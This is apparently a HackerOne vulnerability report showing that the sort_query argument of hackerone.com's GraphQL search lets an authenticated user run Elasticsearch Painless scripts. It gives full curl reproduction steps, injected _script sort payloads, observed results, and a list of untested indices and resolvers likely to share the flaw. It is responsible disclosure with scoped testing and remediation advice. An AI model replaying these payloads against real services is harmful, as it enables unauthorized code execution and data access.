HackerOne · Report #3694007
Authenticated Elasticsearch Painless script execution via Query.search.sort_query on hackerone.com/graphql
How it was found
Summary:
-
The
sort_query: Stringargument onQuery.search(hackerone.com/graphql) is passed to the downstream Elasticsearch cluster as the raw value of thesortparameter, without server-side schema validation, keyword allowlisting, or rejection of scripted sort directives. -
I confirmed per-document Painless script execution by submitting two requests that differ only in the
script.sourcefield and observing that the script's return value determined document ordering. -
The first request returned a constant sort key; the second read each document's internal
_seq_nometadata field and returned it as the sort key. The result sets share zero overlapping documents in the first five positions, and the second request's ordering matches a known ascending-by-_seq_nobaseline. This difference is only explainable by the Painless script compiling and executing per document against thedoccontext.
All testing was conducted against documents within my own authorization boundary (NotificationsIndex, scoped to my own notifications by a server-side user filter). The scripts I supplied did not read any user content, any foreign-tenant data, or any field beyond the _seq_no ES-internal metadata field.
Description:
- URL:
https://hackerone.com/graphql - Method:
POST - GraphQL field:
Query.search - Argument:
sort_query: String - Index tested:
NotificationsIndex
The following additional surfaces expose the same sort_query: String argument and are likely to share the vulnerability, but were not tested:
Query.searchwith otherIndexEnumvalues (DuplicateDetectorReportsIndex,OpportunitiesIndex,CompleteHacktivityReportIndex,StoredQueriesIndex)Organization.findings_search.sort_query: String
Steps To Reproduce
Environment assumptions
All PoC commands assume the same browser session as the production frontend:
# /tmp/h1.headers contents:
# accept: */*
# content-type: application/json
# origin: https://hackerone.com
# referer: https://hackerone.com/notifications
# user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
# x-csrf-token: <session CSRF token>
# x-product-area: notifications
# x-product-feature: overview
#
# $COOKIE contains the full authenticated cookie jar including __Host-session and cf_clearance.
Step 1 — Confirm session identity
curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" \
--data-raw '{"query":"{me{_id username}}"}' | jq
Response:
{"data":{"me":{"_id":"████████","username":"brumbelow"}}}
Reporter-level account with no elevated privileges.
Step 2 — Confirm sort_query accepts raw Elasticsearch JSON
Before testing any scripting payload, I established that sort_query accepts arbitrary JSON sort specifications and that the sort takes effect on results.
# Field-based JSON sort — confirms JSON is parsed and sort is applied
curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" \
--data-raw '{"query":"query{search(index:NotificationsIndex,query_string:\"*\",sort_query:\"[{\\\"id\\\":\\\"asc\\\"}]\",size:5){nodes{... on NotificationDocument{id}}}}"}' | jq
Response (abridged):
{
"data": {
"search": {
"nodes": [
{"id": "Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MDQ1NDc2MzM="},
{"id": "Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MDg0NDY1MDQ="},
{"id": "Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MTY3MzcwOTQ="},
{"id": "Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MTczMDAwNDI="},
{"id": "Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MTc0NjczMDM="}
]
}
}
}
Decoded internal _id values: 404547633, 408446504, 416737094, 417300042, 417467303 — monotonically ascending, confirming JSON sort directives are parsed and applied by Elasticsearch.
I additionally confirmed object-shaped sort specifications (with nested order, mode, missing keys) are accepted:
for sq in \
'[{"user_id":{"order":"desc"}}]' \
'[{"user_id":{"order":"desc","missing":"_last"}}]' \
'[{"created_at":{"order":"desc","mode":"max"}}]'; do
q=$(jq -n --arg sq "$sq" '{query:"query($sq:String){search(index:NotificationsIndex,query_string:\"*\",sort_query:$sq,size:1){total_count}}", variables:{sq:$sq}}')
printf '%-55s ' "$(echo "$sq" | head -c 53)"
curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" --data-raw "$q" \
| jq -c '{tc:.data.search.total_count, err:(.errors[0].message // null)}'
sleep 1.2
done
Response:
[{"user_id":{"order":"desc"}}] {"tc":716,"err":null}
[{"user_id":{"order":"desc","missing":"_last"}}] {"tc":716,"err":null}
[{"created_at":{"order":"desc","mode":"max"}}] {"tc":716,"err":null}
Note: total_count: 716 is the caller's personal notification count, confirming the result set is filtered to my own notifications by a server-side user filter applied prior to sort. All subsequent script testing occurred within this already-filtered result set.
Step 3 — Differential Painless compilation evidence
Compile-failure vs. compile-success probes isolate the behavior of _script clauses when the source is malformed vs. valid Painless. Same GraphQL query shape in all cases; only sort_query.script.source changes.
q='query($sq:String){search(index:NotificationsIndex,query_string:"*",sort_query:$sq,size:1){total_count}}'
for sq in \
'[{"_script":{"type":"number","order":"asc"}}]' \
'[{"_script":{"type":"number","script":{"source":"","lang":"painless"},"order":"asc"}}]' \
'[{"_script":{"type":"number","script":{"source":"\"unterminated","lang":"painless"},"order":"asc"}}]' \
'[{"_script":{"type":"number","script":{"source":"1","lang":"painless"},"order":"asc"}}]' \
'[{"_script":{"type":"number","script":{"source":"1+1","lang":"painless"},"order":"asc"}}]'; do
body=$(jq -n --arg q "$q" --arg sq "$sq" '{query:$q,variables:{sq:$sq}}')
printf '%-95s ' "$(echo "$sq" | head -c 93)"
curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" --data-raw "$body" \
| jq -c '{tc:.data.search.total_count, err:(.errors[0].message // null)[0:40]}'
sleep 1.5
done
Observed results:
script.source | Result | Painless compile outcome |
|---|---|---|
(no script key at all) | HTTP 500 / STANDARD_ERROR | n/a — malformed _script shape |
"" (empty) | HTTP 500 / STANDARD_ERROR | compile failure |
"unterminated (invalid Painless) | HTTP 500 / STANDARD_ERROR | compile failure |
"1" | HTTP 200, total_count: 716 | compile success |
"1+1" | HTTP 200, total_count: 716 | compile success |
The 200/500 split tracks precisely with whether the source is valid Painless. Middleware performing only JSON-schema validation on sort_query could not differentiate these cases — all five payloads are structurally well-formed JSON with the same top-level keys. The only layer that distinguishes "empty string" and "unterminated string literal" from "1" is a Painless compiler reached with the attacker-controlled source.
Step 4 — Differential per-document execution evidence
Two requests differing only in the value of script.source. Both select edges { cursor node { id } } to capture ordering. If the script in Request B executes per document, reading doc["_seq_no"].value, the ordering will differ from the constant-return Request A.
q='query($sq:String){search(index:NotificationsIndex,query_string:"*",sort_query:$sq,size:5){edges{cursor node{__typename ... on NotificationDocument{id}}}}}'
# Request A — baseline, constant return
sq_A='[{"_script":{"type":"number","script":{"source":"1","lang":"painless"},"order":"asc"}}]'
# Request B — per-document field read
sq_B='[{"_script":{"type":"number","script":{"source":"doc[\"_seq_no\"].value","lang":"painless"},"order":"asc"}}]'
echo "=== Request A (constant return) ==="
body=$(jq -n --arg q "$q" --arg sq "$sq_A" '{query:$q,variables:{sq:$sq}}')
curl -sk -D /tmp/probeA_headers 'https://hackerone.com/graphql' \
-H @/tmp/h1.headers -b "$COOKIE" --data-raw "$body" | tee /tmp/probeA_body.json \
| jq -c '.data.search.edges | map(.node.id)'
grep -i '^x-request-id' /tmp/probeA_headers
sleep 2
echo "=== Request B (per-doc field read) ==="
body=$(jq -n --arg q "$q" --arg sq "$sq_B" '{query:$q,variables:{sq:$sq}}')
curl -sk -D /tmp/probeB_headers 'https://hackerone.com/graphql' \
-H @/tmp/h1.headers -b "$COOKIE" --data-raw "$body" | tee /tmp/probeB_body.json \
| jq -c '.data.search.edges | map(.node.id)'
grep -i '^x-request-id' /tmp/probeB_headers
Request A response (source: "1"):
x-request-id: 308106dc-dc26-479f-8bab-eba02d6591c1
First 5 document id values (decoded from base64 Relay global IDs):
| Position | Base64 id | Decoded _id |
|---|---|---|
| 1 | Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80NTExOTAzOTM= | 451190393 |
| 2 | Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MzM1NzE4MDI= | 433571802 |
| 3 | Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80NDQ2NTE1ODI= | 444651582 |
| 4 | Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80NDQ3NzMxMjE= | 444773121 |
| 5 | Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80NDUwNjcxMTg= | 445067118 |
Request B response (source: "doc[\"_seq_no\"].value"):
x-request-id: c2daf19b-11e7-4f98-b608-44c42f52374a
First 5 document id values:
| Position | Base64 id | Decoded _id |
|---|---|---|
| 1 | Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MDQ1NDc2MzM= | 404547633 |
| 2 | Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MDg0NDY1MDQ= | 408446504 |
| 3 | Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MTY3MzcwOTQ= | 416737094 |
| 4 | Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MTczMDAwNDI= | 417300042 |
| 5 | Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MTc0NjczMDM= | 417467303 |
Analysis
The two result sets share zero overlapping documents in the first five positions. Request B's ordering is strictly monotonically ascending by _id, and matches exactly the ordering obtained in Step 2 via the known-good sort_query: '[{"id":"asc"}]' (same first five IDs in the same order).
In Elasticsearch, _seq_no is a per-document sequence number assigned at indexing time and increases monotonically with insertion order. Sorting the caller's earliest-indexed notifications ascending by _seq_no therefore produces the same order as ascending by their internal _id.
For Request B's ordering to arise, the Painless script must have:
- Been compiled (consistent with the Step 3 compile-success result for valid sources)
- Been invoked once per document in the result set during the Elasticsearch sort phase
- Successfully read each document's
_seq_novalue via thedoccontext - Returned that value as the sort key for its document
If the _script sort clause were being silently dropped upstream of Elasticsearch, or if Painless were compiling the source but discarding the output, Request B would have produced the same ordering as Request A. It did not — the orderings have no overlap.
This is direct evidence of per-document Painless script execution on the HackerOne production Elasticsearch cluster, triggered by a single authenticated GraphQL request from a reporter-level account.
Scope of testing
I deliberately restricted testing to the minimum evidence required to establish execution:
- Scripts submitted were
"1","1+1","3+4","doc[\"_seq_no\"].value", and intentionally-malformed variants. No field reads other than_seq_no, no method calls beyond.value, no stdlib usage, no parameters, no loops, no I/O. _seq_nois an ES-internal metadata field present on every document. It is not user data, program data, or tenant data.- All probes ran against my own authenticated session's result set in
NotificationsIndex(716 documents, all mine by server-side user filter). - I did not test sandbox boundaries (filesystem, environment, network, reflection).
- I did not read any user data belonging to any other account.
- I did not test cross-tenant access or document-authorization bypass.
- I did not test other indices (
DuplicateDetectorReportsIndex,OpportunitiesIndex,CompleteHacktivityReportIndex,StoredQueriesIndex) or othersort_query-exposing resolvers (Organization.findings_search). - I ceased all probing against
hackerone.com/graphqlimmediately upon confirming per-document execution in Step 4.
Optional: Supporting Material/References (Screenshots)
Showing script execution with above example: ████████
Suggested remediation:
- Remove the
sort_query: Stringargument fromQuery.search. The typedsort: SortInputargument already serves the frontend's documented use cases. If richer sort expressions are required, expose a structured, schema-validated GraphQL input type rather than a free-form string. - Apply the same treatment to
Organization.findings_search.sort_query: Stringand any other resolver that exposes a free-formsort_queryargument.
Impact
Describe impact here.
Painless execution inside the ES JVM process grants code execution on the infrastructure that indexes HackerOne's platform data. The types reachable through Query.search (via the DocumentUnion schema union) include:
ReportDocument,FindingDocument,HacktivityDocument— report contentNotificationDocument— notification contentOpportunityDocument— program metadataStructuredScopeDocument— program scope definitionsAssetDocument— asset inventoryOrganizationMemberDocument,OrganizationMemberGroupDocument— organization membershipAnalyticsGatewayHttpStreamDocument— captured HTTP traffic metadataStoredQueryDocument— saved queries
Confidentiality impact is the most immediate concern even if the Painless sandbox blocks filesystem and network access: _script sort executes within the Elasticsearch query phase, before any GraphQL resolver-layer authorization filter. A script reading doc['<field>'].value sees fields on documents that are about to be scored or sorted — which includes documents the caller is not authorized to read at the resolver layer, if an index is not partitioned per-tenant at the ES level.
I have not verified whether cross-tenant document access is possible, and I will not. That investigation should be performed by HackerOne's internal team.
In addition, Painless sort scripts are user-controlled code executed per document in the result set; adversarial scripts with deep loops, large allocations, or expensive computations can degrade the shared Elasticsearch cluster.